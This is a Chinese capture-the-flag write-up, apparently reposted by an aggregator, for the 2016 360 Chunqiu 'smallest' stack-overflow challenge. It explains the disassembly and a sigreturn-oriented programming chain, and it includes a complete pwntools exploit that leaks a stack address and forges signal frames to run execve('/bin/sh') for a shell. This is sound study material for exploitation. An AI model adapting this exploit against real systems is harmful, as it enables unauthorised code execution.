[ctf wiki pwn] stackoverflow: 2016-360春秋杯 srop wp

Posted 漫小牛

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[ctf wiki pwn] stackoverflow: 2016-360春秋杯 srop wp相关的知识,希望对你有一定的参考价值。

1、checksec

在这里插入图片描述

2、IDA伪代码

IDA伪代码为:

public start
start proc near
xor     rax, rax
mov     edx, 400h       ; count
mov     rsi, rsp        ; buf
mov     rdi, rax        ; fd
syscall                 ; LINUX - sys_read
retn
start endp

_text ends


end start

这个程序只有短短的几行代码,首先通过xor把rax置为零。edx赋值为0x400,把rsp放在rsi里面,把rax赋值给rdi,这时候rdi为0,执行syscall系统调用,对应系统调用号为0的系统调用为read。手动转化为伪代码,实际上执行的操作是read(0, $rsp, 0x400)。

3、解题方法

3.1 edb查看return addr的位置

尝试通过gdb单步调试查看return addr的位置,但是无法加载符号表,且显示不了汇编指令,因此,通过edb来查看。
打开程序后,单步跟到syscall的位置,输入111111112222222233333333后,查看堆栈的情况:
在这里插入图片描述
可知,read读入的位置的起始地址就是return addr的位置。

3.2 exp流程

第一步:第一次到read的syscall时,payload发出三个start addr,由3.1可知,ret addr会返回到第一个start addr并重新执行read函数。
第二步:第二次到read的syscall时,payload发送一个字节’\\xb3’,read函数会把读入的字节数放到rax,这样就达到控制rax为1的目的,同时会把rsp的最后一位写为b3,这样返回地址就不是start addr,而是0x4000b3,这就跳过了xor rax rax的语句,避免将rax清0。
第三步:到0x4000b3继续向下执行,rax为1对应的是write系统调用,输出的是栈上的0x400长度的内容,通过write泄露一个值,这个值在后面会用到,作为stack addr存放一些用户写入的数据。
第四步:重新执行read函数,写入SigreturnFrame结构,这次写入的是read,用于下次向stack写入数据。
第五步:再次发送15个字节,保持栈空间不变,目的是唤醒15号系统调用sigreturn。
第六步:执行sigreturn,返回到read的syscall。
第七步:执行read syscall,继续写入SigreturnFrame结构,结构中对应的系统调用参数是execve。
第八步:再次发送15个字节,保持栈空间不变,目的是唤醒15号系统调用sigreturn。
第九步:执行execve系统调用,拿shell。
9个步骤串起来后,见下图(具体细节略):
在这里插入图片描述

4、exp

from pwn import *
# from LibcSearcher import *
small = ELF('./smallest')
if args['REMOTE']:
    sh = remote('127.0.0.1', 7777)
else:
    sh = process('./smallest')
context.arch = 'amd64'
context.log_level = 'debug'
syscall_ret = 0x00000000004000BE
start_addr = 0x00000000004000B0
## set start addr three times
payload = p64(start_addr) * 3
sh.send(payload)
gdb.attach(sh)
## modify the return addr to start_addr+3
## so that skip the xor rax,rax; then the rax=1
## get stack addr
sh.send('\\xb3')
stack_addr = u64(sh.recv()[8:16])
log.success('leak stack addr :' + hex(stack_addr))

## make the rsp point to stack_addr
## the frame is read(0,stack_addr,0x400)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = stack_addr
sigframe.rdx = 0x400
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
payload = p64(start_addr) + 'a' * 8 + str(sigframe)
sh.send(payload)

## set rax=15 and call sigreturn
sigreturn = p64(syscall_ret) + 'b' * 7
sh.send(sigreturn)

## call execv("/bin/sh",0,0)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr + 0x120  # "/bin/sh" 's addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret

frame_payload = p64(start_addr) + 'b' * 8 + str(sigframe)
print len(frame_payload)
payload = frame_payload + (0x120 - len(frame_payload)) * '\\x00' + '/bin/sh\\x00'
sh.send(payload)
sh.send(sigreturn)
sh.interactive()

以上是关于[ctf wiki pwn] stackoverflow: 2016-360春秋杯 srop wp的主要内容,如果未能解决你的问题,请参考以下文章

[ctf wiki pwn] stackoverflow:hctf2016-brop wp

[ctf wiki pwn] stackoverflow:hctf2016-brop wp

[CTF Wiki Pwn]Stackoverflow Lab002: ret2shellcode

[CTF Wiki Pwn]Stackoverflow Lab003: ret2syscall

[CTF Wiki Pwn]Stackoverflow Lab001: ret2text

[CTF Wiki Pwn]Stackoverflow: ret2reg